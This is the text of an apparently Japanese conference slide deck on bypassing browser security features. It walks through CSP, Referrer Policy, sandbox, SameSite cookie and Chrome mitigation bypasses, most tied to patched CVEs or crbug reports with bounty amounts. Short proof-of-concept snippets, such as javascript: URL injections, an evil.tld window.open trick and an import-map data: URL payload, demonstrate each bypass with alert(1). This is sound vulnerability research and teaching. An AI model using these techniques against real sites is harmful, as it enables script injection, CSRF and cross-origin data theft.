Slide 1

Slide 1 text

ブラウザセキュリティ機能は バイパスされる為にある 小勝純 @shhnjk

Slide 2

Slide 2 text

Agenda time_remaining = true; while(time_remaining) { ● 機能説明 ● バイパス }

Slide 3

Slide 3 text

*-Policyで共通したバイパス手法 SOP、CSP、Feature Policy、Referrer Policyなどなど オリジンが継承される所にポリシーが継承されないことがある

Slide 4

Slide 4 text

*-Policyで共通したバイパス手法 SOP、CSP、Feature Policy、Referrer Policyなどなど オリジンが継承される所にポリシーが継承されないことがある オリジンが継承される所とは: ● Blob URL ● Javascript URL ● about:blank ● iframe srcdoc など

Slide 5

Slide 5 text

Content Security Policyとは 許可されていないスクリプトやリソースをブロックするセキュリティ機能 同一オリジンのスクリプトのみ許可 Content-Security-Policy: script-src ‘self’;

Slide 6

Slide 6 text

Content Security Policyとは 許可されていないスクリプトやリソースをブロックするセキュリティ機能 同一オリジンのスクリプトのみ許可 Content-Security-Policy: script-src ‘self’; 正しいNonceが指定されたスクリプトのみ許可 Content-Security-Policy: script-src ‘nonce-ramdom’; alert(1) // allowed alert(1) // blocked

Slide 7

Slide 7 text

CSPのバイパス 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1))

Slide 8

Slide 8 text

CSPのバイパス 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1)) 以下の様にJavascript URLを使うことで、SafariでCSPがバイパス出来た https://victim.tld/vulnerable_endpoint.html#javascript:alert(1) CVE-2018-4118

Slide 9

Slide 9 text

CSPのバイパス2 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”)

Slide 10

Slide 10 text

CSPのバイパス2 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”) https://evil.tld window.name=”new”; window.open(“//victim.tld#javascript: alert(1)”); location.href=”//victim.tld/robots.txt”

Slide 11

Slide 11 text

CSPのバイパス2 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”) https://evil.tld https://victim.tld#javascript:alert(1) button.onclick = () => { window.open(location.hash.slice(1), ”new”); } window.name=”new”; window.open(“//victim.tld#javascript: alert(1)”); location.href=”//victim.tld/robots.txt”

Slide 12

Slide 12 text

CSPのバイパス2 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”) https://victim.tld/robots.txt https://victim.tld#javascript:alert(1) button.onclick = () => { window.open(location.hash.slice(1), ”new”); } https://victim.tld/robots.txtにCSPが設定されて いない場合はChromeとSafariでバイパスが可能 だった CVE-2017-15387: $1000 each No CSP

Slide 13

Slide 13 text

Referrer Policyとは Referrerをどんな場合に送るかを指定出来るセキュリティ機能 Referrerを常に送信しない Referrer-Policy: no-referrer 同一オリジンへのリクエストに対してのみ Referrerを送る Referrer-Policy: same-origin

Slide 14

Slide 14 text

Referrer Policyのバイパス about:blankベージを開いてもChromeではReferrer Policyが継承されていなかった Referrer-Policy: no-referrer w = window.open("about:blank"); w.document.write(""); CVE-2018-6048: $500

Slide 15

Slide 15 text

CSP/iframeサンドボックス windowやiframe内に色々な制限をかけられるセキュリティ機能 Content-Security-Policy: sandbox allow-scripts; // スクリプトは許可 ポップアップは許可

Slide 16

Slide 16 text

CSP/iframeサンドボックス windowやiframe内に色々な制限をかけられるセキュリティ機能 Content-Security-Policy: sandbox allow-scripts; // スクリプトは許可 ポップアップは許可 allow-same-originが指定されない限りサンドボックス内のオリジンは Opaque オリジンとなる オリジンが変わってもURLは変わらない為、色々なバグが発生する

Slide 17

Slide 17 text

Service WorkerとCSPサンドボックスの問題 Service Workerが登録されたオリジン内のリクエストは Service Workerを 経由する様になる navigator.serviceWorker. register(“sw.js”); fetch(“/”); self.addEventListener('fetch', e=> { e.respondWith(fetch(e.request)); })

Slide 18

Slide 18 text

Service WorkerとCSPサンドボックスの問題 ChromeではCSPサンドボックスされたページからのリクエストも Service Workerを経由して しまっていた為、サンドボックス外のオリジンの情報が取得出来た CVE-2019-5811: $2000 alert(self.origin); // null fetch(“/”); self.addEventListener('fetch', e=> { e.respondWith(fetch(e.request)); }) https://victim.tld/sandbox

Slide 19

Slide 19 text

SameSiteクッキー 同一サイトからのリクエストにのみ送られるクッキーが作れる ※SameSiteクッキーでのサイトとは eTLD+1だけでschemeは含まれない Set-Cookie: secret=1; SameSite=Strict

Slide 20

Slide 20 text

SameSiteクッキー 同一サイトからのリクエストにのみ送られるクッキーが作れる ※SameSiteクッキーでのサイトとは eTLD+1だけでschemeは含まれない Set-Cookie: secret=1; SameSite=Strict Laxはトップレベルナビゲーションのみクロスサイトからでも送られる ※クロスサイトからの Postメソッドのトップレベルナビゲーションには送られない Set-Cookie: secret=2; SameSite=Lax

Slide 21

Slide 21 text

SameSite Strictのバイパス rel=”noopener”を使うと新しく開かれるタブとの関連性を消せるが、 SameSiteクッキーまでもが送られてしまっていた CSRF https://crbug.com/830091: $2000

Slide 22

Slide 22 text

SameSite Laxのバイパス https://victim.tld Set-Cookie: secret=Lax; SameSite=Lax https://evil.tld https://victim.tld No cookie クロスサイトから埋め込まれても送られない

Slide 23

Slide 23 text

SameSite Laxのバイパス https://victim.tld Set-Cookie: secret=Lax; SameSite=Lax https://evil.tld https://victim.tld No cookie https://evil.tld https://victim.tld secret=Lax https://victim.tld クロスサイトから埋め込まれても送られない トップフレームが同一サイトだと送られていた CVE-2018-18351: $1000

Slide 24

Slide 24 text

Dangling markup mitigation リソースリクエストの中に\nと<が含まれるものをブロックするChromeの セキュリティ機能 https://www.chromestatus.com/feature/5735596811091968 Hello shhnjkToday’s talk ユーザの関与なしに送られるリクエストのみを対象としている

Slide 25

Slide 25 text

Dangling markup mitigationのバイパス Data URLをパースする際スペースや改行が消されるので、 Data URL内のimgタグのリク エストには改行が存在しなくなる Hello shhnjkToday’s talk https://crbug.com/749852 : $500

Slide 26

Slide 26 text

クロスオリジンの無効化 クロスオリジンなダウンロードを無効化しナビゲーションに変更する Chromeの セキュリティ機能 https://www.chromestatus.com/feature/4969697975992320 Navigate instead of download クロスオリジンな強制ダウンロードは悪用されたこともあった https://labs.mwrinfosecurity.com/assets/BlogFiles/Geshev-and-Miller-Logic-Bug-Hunting-in-Chrome-on-Android.pdf

Slide 28

Slide 28 text

クロスオリジンの無効化のバイパス クロスオリジンにリダイレクトすればいい Let’s just download :) 残念ながら重複 一度ダウンロードとしてリクエストしたリソースをレスポンスが返ってきてからナビゲーション に変更する為、様々なバグを生み出してくれる

Slide 29

Slide 29 text

クロスオリジンframebustingのブロック ユーザの関与がないクロスオリジンな framebustingをブロックするChromeの セキュリティ機能 https://www.chromestatus.com/feature/5851021045661696 https://victim.tld https://evil.tld top.location.href = “phish”;

Slide 30

Slide 30 text

クロスオリジンframebustingのブロックのバイパス ダウンロードリクエストがリダイレクトしナビゲーションに変わる際、 どのフレームがリクエストを開始したかの情報が伝わっておらず、 条件なしでトップフレームがナビゲートされてしまっていた https://victim.tld https://evil.tld go link.click(); CVE-2019-5822: $500

Slide 31

Slide 31 text

伝えたかったこと ● バグハント/診断 対象がセキュアだろうと思い込んではいけない

Slide 32

Slide 32 text

伝えたかったこと ● バグハント/診断 対象がセキュアだろうと思い込んではいけない ● バグを見つけたことに喜ぶのはいいが、満足してはいけない

Slide 33

Slide 33 text

伝えたかったこと ● バグハント/診断 対象がセキュアだろうと思い込んではいけない ● バグを見つけたことに喜ぶのはいいが、満足してはいけない ● セキュリティ機能はバイパスされる為にある。ぐらいの思い込みでいくといい

Slide 34

Slide 34 text

伝えたかったこと ● バグハント/診断 対象がセキュアだろうと思い込んではいけない ● バグを見つけたことに喜ぶのはいいが、満足してはいけない ● セキュリティ機能はバイパスされる為にある。ぐらいの思い込みでいくといい ● 新しい機能の追加はそれ以前にある全ての機能との相性を考慮する必要がある

Slide 35

Slide 35 text

Import Mapsで何をバイパスできるか考えてみよう { "imports": { "/path/to/kv-storage-polyfill.mjs": [ "std:kv-storage", "/path/to/kv-storage-polyfill.mjs" ] }} import {storage} from '/path/to/kv-storage-polyfill.mjs'; https://developers.google.com/web/updates/2019/03/kv-storage#import_maps 今日紹介したセキュリティ機能の何かがバイパス 出来ます!考えてみましょう! ブラウザ内に最初のスクリプトがある場合はそれを、ない場合は 次のスクリプトを読み込んでくれるマップ

Slide 36

Slide 36 text

CSPのバイパス3 Content-Security-Policy: script-src: ‘nonce-random’; { "imports": { "/path/to/kv-storage-polyfill.mjs": [ "data:application/javascript,const storage=()=>{}; storage.set=(a,b)=>{alert(1)}; export {storage};" ] }} import {storage} from '/path/to/kv-storage-polyfill.mjs'; storage.set('test', '1'); // alert(1) Nonceを指定しなくてもマップを作れてしまう https://crbug.com/941340: $1000 アイディアが浮かんだ方はみんな正解!

Slide 37

Slide 37 text

Questions? https://victim.tld/agenda.html?fake_xss=time_remaining = true; time_remaining = true; while(time_remaining) { ● 機能説明 ● バイパス } The XSS Auditor refused to execute a script Uncaught ReferenceError: time_remaining is not defined